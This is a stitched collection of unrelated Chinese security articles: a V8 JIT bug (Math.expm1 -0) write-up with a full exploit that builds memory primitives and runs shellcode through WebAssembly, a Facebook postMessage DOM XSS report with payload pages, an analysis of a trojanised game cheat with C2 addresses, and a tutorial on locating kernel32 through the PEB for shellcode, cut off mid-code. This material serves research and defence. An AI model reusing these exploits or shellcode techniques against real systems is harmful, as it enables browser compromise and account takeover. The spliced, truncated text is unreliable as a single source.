这是一个v8的历史漏洞，patch将漏洞重新引入，其代号为`880207`，首先该漏洞出现在`typer.cc`中，因此猜测该漏洞出现在`Typer`阶段，并且该漏洞与`Math.expm1(x)`函数有关,`Typer`推断`Math.expm1(x)`函数的返回类型时，认为`Math.expm1(x)`的返回类型为`PlainNumber`或者`Nan`，却忽略了一种情况，那就是`Math.expm1(-0)`，其返回值为`-0`，而`-0`属于`HEAP_NUMBER_TYPE`类型，在JIT编译时期与运行时期，就会有不一样的结果，比如
Object.is(Math.expm1(-0),-0)
在编译时期，JIT认为该值肯定为`false`，因为两者的类型不可能相等，但是在实际运行当中，`Object.is(Math.expm1(x),-0)`，如果x为-0，那么结果就会为`true`。
### 漏洞利用
在javascript中，布尔类型可以直接做加减乘除运算
false+1
1
true+1
2
因此，我们可以利用这种特性，将漏洞转换为一个数组越界，首先构造
function opt(x) {
var a = Object.is(Math.expm1(x),-0);
var arr = [1.1,2.2,3.3,4.4];
a += 3;
return arr[a];
}
for (var i=0;i<0x20000;i++) {
opt(0);
opt("0");
}
print(opt(-0));
用`opt("0");`是为了适配非`PlainNumber`类型的参数，这样最后一步调用`opt(-0)`不会进行`deoptimization`，运行发现，没有成功越界，查看IR图
可以看到`JSCall[PlainNumber |
NaN]`，然后使用`SameValue`运算后，与3相加，最后得出范围`Range(0,3)`传给`CheckBounds`
然而到了`TypedLowering`阶段，发现下标直接变成了3，即发生常数折叠
为了避免发生这样的常数折叠现象，我们可以使用一个`字典对象`来将我们的`-0`包含在内部，这样，只有在`Escape Analyse`阶段才能知道其值。
function opt(x) {
var escape = {v:-0};
var a = Object.is(Math.expm1(x),escape.v);
var arr = [1.1,2.2,3.3,4.4];
a += 3;
return arr[a];
}
for (var i=0;i<0x20000;i++) {
opt(0);
opt("0");
}
print(opt(-0));
运行后发现确实发生了数组越界
root@ubuntu:~/Desktop/krautflare# ./d8 1.js --trace-turbo
Concurrent recompilation has been disabled for tracing.
--------------------------------------------------- Begin compiling method opt using Turbofan
--------------------------------------------------- Finished compiling method opt using Turbofan
--------------------------------------------------- Begin compiling method opt using Turbofan
--------------------------------------------------- Finished compiling method opt using Turbofan
--------------------------------------------------- Begin compiling method using Turbofan
--------------------------------------------------- Finished compiling method using Turbofan
2.89459808827e-311
查看IR图，这回在`Typer`阶段，还不能确定准确值，因此有一个范围`Range(3,4)`
然后过了`Escape Analyse`阶段，才发现范围在`Range(0,3)`内，于是到了`simplified
lowering`阶段，便把`CheckBounds`给去除了
由此造成了溢出，可以利用溢出，构造一个oob_arr，来达到自由溢出，然后利用手法就一样了。
exp
var buf = new ArrayBuffer(0x8);
var dv = new DataView(buf);
function p64f(value1,value2) {
dv.setUint32(0,value1,true);
dv.setUint32(0x4,value2,true);
return dv.getFloat64(0,true);
}
function i2f64(value) {
dv.setBigUint64(0,BigInt(value),true);
return dv.getFloat64(0,true);
}
function u64f(value) {
dv.setFloat64(0,value,true);
return dv.getBigUint64(0,true);
}
var obj = {};
var oob_arr;
var obj_arr;
var double_arr;
function opt(x) {
var arr = [1.1,2.2,3.3,4.4];
oob_arr = [5.5,6.6];
obj_arr = [obj];
double_arr = [1.1];
var tmp = {escapeVar: -0};
var index = Object.is(Math.expm1(x),tmp.escapeVar);
index *= 11;
//制造oob_arr
arr[index] = p64f(0,0x1000);
}
for (var i=0;i<0x20000;i++) {
opt(0);
opt("0");
}
//触发漏洞
opt(-0);
var double_elements_map = oob_arr[0x10];
var obj_elements_map = oob_arr[0x9];
function fakeObj(addr) {
var addr_f = i2f64(addr + 0x1n);
double_arr[0] = addr_f;
oob_arr[0x10] = obj_elements_map;
var a = double_arr[0];
oob_arr[0x10] = double_elements_map;
return a;
}
function addressOf(obj) {
obj_arr[0] = obj;
oob_arr[0x9] = double_elements_map;
var a = obj_arr[0];
oob_arr[0x9] = obj_elements_map;
return u64f(a) - 0x1n;
}
const wasmCode = new Uint8Array([0x00,0x61,0x73,0x6D,0x01,0x00,0x00,0x00,0x01,0x85,0x80,0x80,0x80,0x00,0x01,0x60,0x00,0x01,0x7F,0x03,0x82,0x80,0x80,0x80,0x00,0x01,0x00,0x04,0x84,0x80,0x80,0x80,0x00,0x01,0x70,0x00,0x00,0x05,0x83,0x80,0x80,0x80,0x00,0x01,0x00,0x01,0x06,0x81,0x80,0x80,0x80,0x00,0x00,0x07,0x91,0x80,0x80,0x80,0x00,0x02,0x06,0x6D,0x65,0x6D,0x6F,0x72,0x79,0x02,0x00,0x04,0x6D,0x61,0x69,0x6E,0x00,0x00,0x0A,0x8A,0x80,0x80,0x80,0x00,0x01,0x84,0x80,0x80,0x80,0x00,0x00,0x41,0x2A,0x0B]);
const shellcode = new Uint32Array([186,114176,46071808,3087007744,41,2303198479,3091735556,487129090,16777343,608471368,1153910792,4132,2370306048,1208493172,3122936971,16,10936,1208291072,1210334347,50887,565706752,251658240,1015760901,3334948900,1,8632,1208291072,1210334347,181959,565706752,251658240,800606213,795765090,1207986291,1210320009,1210334349,50887,3343384576,194,3913728,84869120]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var func = wasmInstance.exports.main;
var faker = [0.0,1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8,9.9];
var faker_addr = addressOf(faker);
print('wasm='+addressOf(wasmInstance).toString(16));
/*
%DebugPrint(wasmInstance);
%SystemBreak();
*/
wasm_shellcode_ptr_addr = addressOf(wasmInstance) + 0xe8n;
var element_addr = faker_addr - 0x50n;
//print('element_addr=' + element_addr.toString(16));
//fake a ArrayBuffer's Map
faker[0] = i2f64(0n);
faker[1] = i2f64(0x1900042317080808n);
faker[2] = i2f64(0x00000000082003ffn);
faker[3] = i2f64(0);
//faker a ArrayBuffer
faker[4] = i2f64(element_addr+0x1n); //map
faker[5] = i2f64(0); //properties
faker[6] = i2f64(0); //elements
faker[7] = p64f(0xffffffff,0); //length
faker[8] = i2f64(wasm_shellcode_ptr_addr);
faker[9] = 0x2;
var arb_ArrayBuffer = fakeObj(element_addr+0x20n);
var adv = new DataView(arb_ArrayBuffer);
var wasm_shellcode_addr = adv.getBigUint64(0,true);
print('wasm_shellcode_addr=' + wasm_shellcode_addr.toString(16));
faker[8] = i2f64(wasm_shellcode_addr);
//替换wasm的shellcode
for (var i=0;i<shellcode.length;i++) {
adv.setUint32(i*4,shellcode[i],true);
}
//执行shellcode
func();
## 0x04 感想
在数值误差的漏洞当中，我们往往利用`CheckBounds`的消除来构造`OOB`数组，其中要保证这个数组是一个非逃逸对象，即在函数内部声明和使用，这样JIT收集的信息充分，才能决定是否要移除`CheckBounds`节点，似乎在新版本v8中，`simplified
lowering`阶段不再去除该节点，以后遇到再看。
## 0x05 参考
[从漏洞利用角度介绍Chrome的V8安全研究](https://www.4hou.com/posts/21Y1)
[introduction-to-turbofan](https://doar-e.github.io/blog/2019/01/28/introduction-to-turbofan/)
[利用边界检查消除破解Chrome JIT编译器](https://zhuanlan.zhihu.com/p/73081003)
[关于2018_35c3ctf_krautflare的分析复现](https://www.anquanke.com/post/id/214020#h3-6) | 社区文章 |
# 从postMessage跨域通信中发现的Facebook DOM XSS
|
##### 译文声明
本文是翻译文章，文章原作者 ysamm，文章来源：ysamm.com
原文地址：<https://ysamm.com/?p=493>
译文仅供参考，具体内容表达以及含义原文为准。
第一个bug允许恶意用户通过postMessage方法从facebook发送XSS跨域攻击。存在bug的页面将接受用户构造的请求参数，并使用提供的数据构造一个对象，该对象将与postMessage一起发送到已打开的窗口。然后，又发现了另一个bug，并与前一个bug相关联，这个bug是通过Eventlistener接收到的表单提交数据，它可以被构造成一个不安全的脚本。
## 1） 通过postMessage发送消息
存在漏洞的页面是 **<https://www.facebook.com/payments/redirect.php>**.
这个页面的响应(response)可以由许多参数控制。我发现了一个有趣的“类型”。如果这个参数从通常的“i”改为“rp”，它将使用postMessage与打开该页面的窗口通信（对于“i”，它将使用window.parent.paymentsFlows.processIFrame）。
请注意，目标源设置为我们的.intern.facebook.com。从这一点我知道postMessage方法是针对Facebook员工的，或者只被他们使用。.intern.facebook.com域只对他们“完全”开放访问，不是Facebook的员工，它将重定向到www.facebook.com。
我试图通过访问另一个域中的同一个页面alpha.facebook.com来绕过。万一我们的our.alpha.facebook.com/payments/redirect.php
，它会返回alpha.facebook.com作为postMessage的targetOrigin。与our.intern ,
our.alpha相反不会重定向到www开头的页面。注意our.alpha.facebook.com 域的内容与www.facebook.com
相同，允许消息传递到打开窗口(opener window
)，因为targetOrigin条件已经满足，并且会将消息发送到我们的alpha.facebook.com。
在这一点上，我知道我应该寻找EventListeners存在的页面，并且它接受facebook.com子域名作为消息源。
## 2） XSS
apps.facebook.com提供了Facebook Canvas应用.
如果你访问了一个应用程序，你会发现Facebook会在一个iframe中加载一个URL（以前是由应用程序所有者选择的），然后一个包含了参数的POST消息将被发送到这个URL，例如“signed_request”参数。
追踪这个请求的来源，我发现页面加载了
[https://www.facebook.com/platform/page_proxy/？version=X](https://www.facebook.com/platform/page_proxy/%EF%BC%9Fversion=X)
，然后用postMessage向其发送消息（我后来发现，另一个研究人员以前也发现了一个严重的[bug](https://www.amolbaikar.com/facebook-oauth-framework-vulnerability/ "bug")）。
page_proxy页面包含以下代码：
[https://ysamm.com/wp-content/uploads/2020/11/proxy-768×411.png](https://ysamm.com/wp-content/uploads/2020/11/proxy-768x411.png)
这个代码可以做两件事。它将通过postMessage将带有frameName的消息发送到任何源（该方法被Amol使用过，但现在通过检查frameName来修复）。第二件事是它将设置一个EventListener并等待消息。如果收到一条消息并且满足了所有条件，它将在根据消息中的数据设置其属性之后提交一个表单。
表单构造（submitForm方法）的有趣之处在于表单的action属性直接设置为a.data.params.appTabUrl（消息中会收到这个值）。“appTabUrl”字符串中的URL没有检查是否以http/https开头，因此我们可以使用javascript来实现XSS！
构造满足所有条件的payload，如下所示：
https://our.alpha.facebook.com/payments/redirect.php?type=rp&name=_self¶ms[appTabUrl]=javascript:alert(1);¶ms[signedRequest]=SIGNED_X&platformAppControllerGetFrameParamsResponse=1
OBJ:
{“type”:”rp”,”name”:”_self”,”params”:{“appTabUrl”:”javascript:alert(1);”,”signedRequest”:”SIGNED_X”},”platformAppControllerGetFrameParamsResponse”:”1″}
### Exploit
目标应该访问的网站包含以下代码。这将打开另一个页面，当前窗口将是打开窗口对象(opener window)。
<html>
<button class="button" onClick="window.open('https://attacker/page2.html', '_blank');document.location.href = 'https://our.alpha.facebook.com/platform/page_proxy/?version=X#_self';">
<span class="icon">Start Attack</span>
</button>
</html>
这里我们不会直接重定向到page_proxy页面，因为我们需要设置一个超时来确保<https://www.facebook.com/platform/page_proxy/>
已加载。
page2.html:
<html>
<script>
setTimeout(function(){ window.location.href = 'https://our.alpha.facebook.com/payments/redirect.php?type=rp&merchant_group=86&name=_self¶ms[appTabUrl]=javascript:alert(1);¶ms[signedRequest]=SIGNED_X&platformAppControllerGetFrameParamsResponse=1';} ,3000);
</script>
</html>
在这里，我们在3S延时之后重定向到存在漏洞的页面。这只会执行alert(1)
，但是我发送的POC会窃取访问令牌，该令牌可用于接管Facebook帐户。这很简单，因为我们可以简单地读取oauth流的响应来授权Facebook应用程序。
## 修复
Facebook修复了这个错误，完全删除了postMessage在 ( /payments/redirect.php)的重定向.
并且，appTabUrl会检查是否意https开头[ /^https:/.test(a.data.params.appTabUrl) ]
## 时间轴
2020年10月10日-发送报告
2020年10月10日——Facebook承认
2020年10月10日-总计2.5万美元，包括Facebook发放的奖金（2020年奖金期间）
2020年10月28日- 由Facebook修复 | 社区文章 |
# 吃鸡辅助远控木马分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
近期360安全卫士拦截到带木马的荒野求生辅助通过论坛、QQ、YY大量传播。木马运行后，黑客可以远程控制用户电脑，进行任意操作，并将中招电脑作为傀儡机，进行DDOS攻击，严重危害个人信息安全和网络秩序。
## 一、主要流程
带木马的荒野求生辅助以免费形式发布在布衣论坛中
带木马的荒野求生辅助运行后界面如下
该荒野求生辅助被用户下载运行后会释放运行两个木马文件：“过CRC检测.exe”和“防封插件.exe”。其中“防封插件.exe”，是一个远控木马，可以窃取用户电脑中的信息，下载执行任意文件。另外一个“过CRC检测.exe”，是一个DDOS木马，根据黑客指令进行定向攻击。
## 二、防封插件.exe
防封插件.exe是一个加密木马的载体，该文件运行时会解密出具有远控功能的dll文件，并在内存中加载执行。
### 1、解密dll木马
木马作者加密木马程序后，把加密数据作为全局变量存储在防封插件.exe程序的全局数据区。
解密木马的功能位于防封插件.exe程序的异常处理里。由程序主动抛出整型异常，进入相应的异常处理函数，解出木马。
解密后的木马是一个dll文件。
### 2、内存加载dll木马
防封插件.exe通过PELoader的方法，在内存中映射解密后的dll文件，并调用Dllmain执行。
然后计算导出函数ForShare82的位置，调用导出函数。至此，木马本体已经完整加载到内存并运行。
### 3、Dll木马功能
Dll木马具有远控功能，控制服务器地址：27.126.188.68，端口：522。该程序包含键盘记录、下发文件、注册表控制、服务控制等功能。
键盘记录功能：判断键盘输入的内容，然后格式化键盘信息，过滤特殊按键（SHITF、CTRL等），最后重组成完整的输入信息，写入文件。
截屏功能：获取分辨率信息，然后进行截屏操作。
其他控制功能：
## 三、过CRC检测.exe
过CRC检测.exe程序根据注册表项SYSTEM\CurrentControlSet\Services\\.Net
CLR是否存在，判断程序是否第一次运行，首次运行会执行不同流程。
### 1、首次运行的执行流程
将自身以随机文件名拷贝到windows目录下
将拷贝后的文件注册为自动启动的服务，服务名.Net CLR。
修改服务描述信息为：Microsoft .NET COM+ Integration with SOAP以进一步迷惑用户。
写注册表项SYSTEM\CurrentControlSet\Services\\.Net CLR。
删除原始木马文件。
### 2、.Net CLR服务程序执行流程
由于首次运行时注册了服务，所以样本作为服务二次启动的时候就会进入另一个流程。
**1)创建互斥体“.Net CLR”**
**2)释放hra33.dll（这是一个lpk劫持dll），紧接着便更新dll的资源，然后加载dll。**
hra33.dll被加载之后，DllMain中立即运行恶意行为，遍历用户磁盘文件，每当发现一个exe文件时，便将自身拷贝到exe文件目录下，并将自身重命名为lpk.dll。
**3)创建局域网传播线程，尝试弱口令连接局域网内的用户，将自身拷贝到本地磁盘和局域网共享目录的C、D、E、F盘下并重命名为g1fd.exe，其中成功拷贝至C、D、E盘时，会以计划任务的方式直接启动。**
局域网传播中用到的部分用户名和弱口令
**4)创建三个远控线程。三个线程的控制功能是一致的，但连接的服务器不同，此外前2个线程会验证系统时间，当时间大于2013/2/21才会创建控制线程。**
远控线程1的连接，实测是无效连接。
远控线程2的远程连接c&c 地址（z*******g.bid）端口是20199
远控线程3的连接，服务器地址是加密的，解密后是27.126.188.68:520
**5)远控线程的主要功能**
下载执行任意文件
DDOS攻击
使用远程命令行参数启动IE
更新木马文件
卸载自身
## 四、溯源
通过对恶意样本的分析，找到了域名z*******g.bid，通过域名反查定位到域名相关的注册邮箱和联系电话。
通过邮箱和手机定位到相关信息如下
## 五、木马的查杀
如果发现来历不明的文件，通过360安全卫士进行查杀，该远控木马已经第一时间被360杀毒查杀，请广大用户在使用安装包及时扫描查杀，避免使用未知来源的可疑软件。 | 社区文章 |
# x32 PEB: 获取Kernel32基地址的原理及实现
## 0x0 前言
如何在程序内部获取到自身加载的DLL的基地址是一个有趣的问题。通过研究这个问题，能够让笔者对Window的可执行程序的运行机制和底层实现(区别于高级语言实现)有更为深入的认识，与此同时该技术广泛应用于ShellCode来定位动态API地址，实践应用面较大，值得好好去分析和学习。
## 0x1 暴力搜索
32位在4G内存搜索有一定可行性，但是处理起来其实还是比较麻烦的，因为内存不可读会触发异常，需要对这些异常问题进行处理，可用性和性价比，自然顾名思义。
优化思路:缩小范围、增大搜索步长。
(1)不优化，原始内存特征匹配，容易出错，利用复杂。
(2)优化暴力搜索，有三种方法
### 0x1.1 方法一
只要系统没有做模块基址重定位，那么32位下`kernel32`的加载地址在`0x70000000`-`0x80000000`之间,然后Kernel32.dll加载是64k对齐的，所以查找次数
**<** 256MB/64K+1= 4097次，就可以找到。
#include <Windows.h>
#include <stdio.h>
int main()
{
HANDLE kernelA = LoadLibrary(L"kernel32.dll");
printf("0x:%p\n", kernelA);
system("pause");
}
win11:`0x76640000`
win10:`0x75710000`
win7:`0x754A0000`
window 2003:`0x7c800000`
...除开DOS系统，其它系统都可以囊括在这里面。
但是这里判断定位成功条件仍然需要采取两重判断，先判断`MZ`头再解析PE结构来获取DLL名称进行判断，从而来降低在其他环境出现地址错误的概率。
导入表与exe实际加载顺序:
`ntdll.dll`->`kernelbase.dll`->`kernel32.dll`->....
可以看到关键的系统模块都分配在了0x70000000上面，故单一匹配MZ头不是100%准确。
### 0x1.2 方法二
进一步优化搜索范围，Window加载可执行程序时，会创建可执行程序的子进程，其主线程被初始化时，执行`ExitThread`的指令的地址被压人堆栈，以便线程通过ret返回时可以执行`ExitThread`退出线程。而`ExitThread`是从`KERNEL32.DLL`中导出的函数，故可以从这个地址开始递减0x10000h来搜索"MZ"头从而确定`Kernel32.dll`的地址。
调试之前，先了解EXE点击执行的经历阶段:
1.双击exe程序，注册表的Shell键值指定`Explorer.exe`作为命令解释器，作为用户桌面应用程序的父进程来启动程序。
计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
2.调用`Kernel32.dll`的`CreateProcess`函数，打开其映像文件，创建一个内存区对象。
3.创建内核中的进程对象，NtCreateProcess-NtCreateProcessEx-PspCreateProcess，其中创建EPROCESS对象、初始化各种参数、创建初始的进程地址空间、创建和初始化句柄表，并设置好EPROCESS
和KPROCESS 中的各种属性，如进程优先级、安全属性等。至此进程地址空间初始化完成、EPROCESS的PEB也初始化完成。
> 该过程可参考:<http://www.alonemonkey.com/createprocess-analyse.html>
4.通过调用`NtCreateThread`创建初始线程，创建ETHREAD结构、初始化域、创建TEB结构并初始化...
> 该过程可参考:<http://www.alonemonkey.com/createthread-analyse.html>
5.进程创建/退出，通知Windows子系统csrss.exe进程，以便对Windows所有进程进行管理。
6.启动初始线程，调用`NtResumeThread`唤醒，进入用户态最先执行`ntdll.dll`的`LdrInitializeThunk`函数，完成用户态进线程的环境初始化，加载DLL并执行入口函数、对"线程本地存储"(TLS)进行初始化。
> 使用x32dbg运行程序的时候,执行`LdrInitializeThunk`函数时，会在`LdrpInitializeProcess`中触发一个int
> 3异常，用来作为程序运行的"系统断点"。
>
>
>
回到用户态之后，主线程进入`Kernel32.dll`的 `BaseThreadInitThunk`函数进入入口点函数，开始执行程序后续执行。
进入入口点之后，返回地址入栈,此时就是栈顶位置，指向了`Kernel32`内存空间。
但是真正使用的话，这种方法有非常大的局限性的，通过IDA反编译VC2019编译的exe，选定_main函数，`View`->`Graph`->查看函数调用图
在到达真正用户的入口，会存在大量编译器的包装代码，用于初始化和终止库，在将控制权转交给main函数之前正确配置相关参数，所以内联汇编是没办法使用这个方法的。
在笔者看来这个方法，确实鸡肋，利用栈上残余的地址虽然是个好思路，但是一般都具有强烈的特殊性，这种方法不适合用来做通用寻址的手段。
### 0x1.3 方法三
**1.什么是异常处理链表?**
>
> 当异常发生时，系统从fs:[0]指向的内存地址处取出ExceptionList字段，然后从ExceptionList字段指向的`_EXCEPTION_REGISTRATION_RECORD`结构中取出`handler`字段，并根据其中的地址去调用异常处理程序（回调函数）。
异常处理链表是提到的由`_EXCEPTION_REGISTRATION_RECORD`结构构成的单链表。
typedef struct _EXCEPTION_REGISTRATION_RECORD
{
PEXCEPTION_REGISTRATION_RECORD Next;
PEXCEPTION_DISPOSITION Handler;
} EXCEPTION_REGISTRATION_RECORD, *PEXCEPTION_REGISTRATION_RECORD;
Next指向异常处理程序的地址，prev 则指向下一个
[_EXCEPTION_REGISTRATION_RECORD](https://nirsoft.net/kernel_struct/vista/EXCEPTION_REGISTRATION_RECORD.html)
结构体，来构成一个单向链表。
**2.异常处理链表有什么特点?**
当异常发生时，系统会遍历异常处理链表，直到找到正确的异常处理程序。链表最后一项的prev值为0xFFFFFFFF，说明链表已经遍历完毕。
**最后一项指向的是系统默认的位于`Kernel32.dll`的`UnhandledExceptionFilter`顶层异常处理程序的过滤函数，该过滤函数的地址是存在于`Kernel32.dll`内存空间的**
**3.查找`Kernel32.dll`加载基址**
基于上面1.2的认识，很自然可以得到一个查找`Kernel32.dll`加载基址的方法，步骤如下:
1)取fs:[0]的值即`ExceptionList`指针指向的地址赋予给`edx`寄存器
2)判断Next指针指向的值是否为`0xffffffff`计算机负数用补码表示即-1,是的话
`mov edx, [edx]`,将值传递到edx寄存器中,接着`mov
edx,[edx+4]`将`Handler`指向的值赋值给`edx`,此时edx就在`Kernel32.dll`内存空间中,然后开始逐一递减`dec
edx`来回溯PE头<-`cmp word ptr [edx],
'ZM'`,数值存储比较采用小端字节序,CPU读取从低地址读到高地址,所以这里是'ZM'而不是'MZ',网上有些代码是错的,如果不是-1,那么就遍历下一个`mov
edx, [edx]`
汇编代码实现:
#include <stdio.h>
#include <windows.h>
int main()
{
unsigned int kernelAddr;
__asm {
mov edx, fs: [0] ;
Foreach:
cmp [edx], 0xffffffff
je Handle; //if equal : jump
mov edx, [edx];
jmp Foreach;
Handle:
mov edx, [edx + 4];
_Loop:
cmp word ptr[edx], 'ZM';
jz Kernel;
dec edx;
xor dx, dx;
jmp _Loop
Kernel :
mov kernelAddr, edx;
}
printf(TEXT("Kernel32.dll address: %x\r\n"), kernelAddr);
printf(TEXT("LoadLibrary Kernel32.dll address: %x\r\n"),
LoadLibrary(TEXT("kernel32.dll")));
return 0;
}
在WinServer 2003/XP 上这种方法是可以得到正确结果的。
不过这种方法在win7/win11都是 **不行** 的，原因是版本差异，这里获取的是`ntdll.dll`的加载地址
造成这种差异的原因,我们可以使用Windbg查看下Win10下最终地址的指向。
查看TEB结构:`!teb`
查看FS寄存器信息:`dg fs`
查看fs[0]的值: `dd 009b5000`
确定`ExceptionList`地址指向的结构地址:`00aff3d0`。
下面根据该地址查看`_EXCEPTION_REGISTRATION_RECORD`结构:
`dt -r1 ntdll!_TEB`
`dt -r1 _EXCEPTION_REGISTRATION_RECORD 0x00aff3d0`
可以查看Win10中，最后一个过滤函数在`ntdll`的内存空间，而不是`Kernel32.dll`，故这种方法在win10是没办法使用的，win7同理。
更多可参考:
> [维基百科:Windows异常处理机制](https://zh.wikipedia.org/zh-> hans/%E7%BB%93%E6%9E%84%E5%8C%96%E5%BC%82%E5%B8%B8%E5%A4%84%E7%90%86#%E4%B8%8EWindows%E5%BC%82%E5%B8%B8%E5%A4%84%E7%90%86%E6%9C%BA%E5%88%B6%E7%9A%84%E5%85%B3%E7%B3%BB)
>
> [windows的SEH异常处理以及顶层异常处理](https://www.cnblogs.com/revercc/p/13373732.html)
### 0x1.4 小结&补充
**小结**
从上面的三种方法来看，可以看出三者有很明显的共同缺陷，那就是除了暴力的搜索行为之外，还有个致命低兼容性，虽然可以通过进一步加强判断的条件，比如从`ntdll.dll`地址继续回溯到`Kernel32.dll`，判断PE结构的第一个函数名称等手段来优化，这种代价会进一步增大ShellCode的大小并使程序流程复杂化，同时，内存空间的访问存在很多不可意料的情况。总而言之，搜索内存的方法是一种下下之选。
**补充**
> 使用到的分析工具列表如下
>
> 调试程序:Windbg、x32dbg
>
> 辅助定位:[CFF](https://ntcore.com/files/CFF_Explorer.zip)
过程中出现的小问题:
> VS2019
> 正常编译的exe，win2003执行会提示"不是一个合法的win32应用程序"，调整编译的平台工具集(xp)可以解决该问题,同时选用静态编译(多线程MT/Release)解决依赖问题。
>
> 参考:[https://docs.microsoft.com/en-us/cpp/build/configuring-programs-for-> windows-xp?redirectedfrom=MSDN&view=msvc-160](https://docs.microsoft.com/en-> us/cpp/build/configuring-programs-for-windows-> xp?redirectedfrom=MSDN&view=msvc-160)
## 0x2 基于PEB搜索
在第一节我们提到了暴力搜索并不可取，那么有没有一种优雅地良好兼容性、精确搜索`Kernel32.dll`加载基地址的方法呢?
下面来学习一种区别暴力方法，但也比较简单且已经应用成熟的最佳方法。
### 0x2.1 TEB->PEB
前面提到了部分与TEB相关的内容，我们进一步来了解TEB与PEB的关系。
> **TEB** （Thread Environment Block，线程环境块）系统在此TEB中保存频繁使用的线程相关的数据。位于用户地址空间，在比
> PEB 所在地址低的地方。用户模式下，当前线程的TEB位于独立的4KB段(页)，可通过CPU的FS寄存器来访问该段，一般存储在[FS:0]
>
> **PEB** （Process Environment
> Block，进程环境块）存放进程信息，每个进程都有自己的PEB信息。位于用户地址空间。可在TEB结构地址偏移0x30处获得PEB的地址位置。
查看结构Windbg 命令:
TEB: `!teb` 、`dt -r1 ntdll!_teb`
PEB: `!peb` 、`dt -r1 ntdll!_peb`
前面我们已经知道可以通过`fs:[0]`寄存器访问到TEB的地址，这里我们又知道了可以通过`TEB`结构偏移0x30处指向的地址是PEB结构地址，即`fs:[0]`->`TEB`->`PEB`，在这一步完成PEB地址的定位。
### 0x2.1 PEB结构
微软文档:[_PEB](https://docs.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb)
typedef struct _PEB {
BYTE Reserved1[2];
BYTE BeingDebugged;
BYTE Reserved2[1];
PVOID Reserved3[2];
PPEB_LDR_DATA Ldr;
PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
PVOID Reserved4[3];
PVOID AtlThunkSListPtr;
PVOID Reserved5;
ULONG Reserved6;
PVOID Reserved7;
ULONG Reserved8;
ULONG AtlThunkSListPtr32;
PVOID Reserved9[45];
BYTE Reserved10[96];
PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;
BYTE Reserved11[128];
PVOID Reserved12[1];
ULONG SessionId;
} PEB, *PPEB;
文档中很多是保留(Reserved)字段，这里我们关注下其中一个成员`Ldr`,其结构为`PPEB_LDR_DATA`。
微软文档介绍: [PEB_LDR_DATA structure](https://docs.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb_ldr_data)
> Contains information about the loaded modules for the process.
>
> 包含有关该过程的加载模块的信息。
typedef struct _PEB_LDR_DATA {
BYTE Reserved1[8];
PVOID Reserved2[3];
LIST_ENTRY InMemoryOrderModuleList;
} PEB_LDR_DATA, *PPEB_LDR_DATA;
第三个参数`InMemoryOrderModuleList`
> The head of a doubly-linked list that contains the loaded modules for the
> process. Each item in the list is a pointer to an **LDR_DATA_TABLE_ENTRY**
> structure. For more information, see Remarks.
>
> 双向链表的头部包含进程的加载模块。链表的每一个都是指向`LDR_DATA_TABLE_ENTRY`结构的指针
那么这个链表到底有什么信息呢？
typedef struct _LDR_DATA_TABLE_ENTRY {
PVOID Reserved1[2];
LIST_ENTRY InMemoryOrderLinks;
PVOID Reserved2[2];
PVOID DllBase; // 模块基地址
PVOID EntryPoint;
PVOID Reserved3;
UNICODE_STRING FullDllName;// 模块名称
BYTE Reserved4[8];
PVOID Reserved5[3];
union {
ULONG CheckSum;
PVOID Reserved6;
};
ULONG TimeDateStamp;
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
其实上面的文档是不够全面的，下面我们用Windbg来看下具体的结构和值。
`!peb`->`dt -r1 0x774bdca0 _PEB_LDR_DATA`
可以看到这里，除了文档`InMemoryOrderModuleList`，实际还有两个:
InLoadOrderModuleList
InMemoryOrderModuleList
InInitializationOrderModuleLists
这个其实是模块在不同状态的顺序
`InLoadOrderModuleList` 指的是模块加载的顺序
`InMemoryOrderModuleList`指的是在内存的排列顺序
`InInitializationOrderModuleLists` 指的是模块初始化装载顺序。
这里选择跟进`InLoadOrderModuleList`指向的结构
1)`dt -r1 _LIST_ENTRY 0x1023330`(这里取第二个，第一个是exe本身)->`dt -r1 0x1023228
_LDR_DATA_TABLE_ENTRY`
2)`lm` 列举出加载的模块信息。
从这图可以得出两个信息，Flink总是指向下一个`_LDR_DATA_TABLE_ENTRY`结构对应加载顺序的`Flink`指针，`_LDR_DATA_TABLE_ENTRY`在0x2c处是加载模块的名称，在0x18偏移处，是该模块的加载基地址。
* * *
基于上述认识，使用Windbg遍历一下`InMemoryOrderModuleList`加载顺序的完整链结构:
(1)`dt -r1 0x774bdca0 _PEB_LDR_DATA`->`dt -r1 0x1023338-0x8
_LDR_DATA_TABLE_ENTRY`
第一个结构是:`PebTest.exe`
(2)`dt -r1 0x1023230-0x8 _LDR_DATA_TABLE_ENTRY`
第二个模块是:`ntdll.dll`
(3)`dt -r1 0x1023718-0x8 _LDR_DATA_TABLE_ENTRY`
第三个模块是:`KERNEL32.DLL` (Warning，all in uppercase， interesting)
(4)`dt -r1 0x1023ad8-0x8 _LDR_DATA_TABLE_ENTRY`
第四个模块是:`KERNELBASE.dll`(Warning，name uppercase， suffix lowercase，interesting)
(5)...
`dt -r1 0x10246d8-0x8 _LDR_DATA_TABLE_ENTRY` -> 第五个模块`ucrtbased.dll`
`dt -r1 0x1024530-0x8 _LDR_DATA_TABLE_ENTRY` -> 第六个模块`VCRUNTIME140D.dll`
顺序如下:
`PebTest.exe`->`ntdll.dll`->`KERNEL32.DLL`->`KERNELBASE.dll`->`ucrtbased.dll`->`VCRUNTIME140D.dll`
调试真的很累，直接写个程序，遍历三个链表内容，然后在不同win系统下测试:
#include<stdio.h>
#include<windows.h>
typedef struct UNICODE_STRING
{
USHORT _ength;
USHORT MaximumLength;
PWSTR Buffer;
}UNICODE_STRING, * PUNICODE_STRING;
typedef struct PEB_LDR_DATA {
ULONG Length;
BOOLEAN initialized;
PVOID SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
}PEB_LDR_DATA, * PPEB_LDR_DATA;
typedef struct LDR_DATA_TABLE_ENTRY
{
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
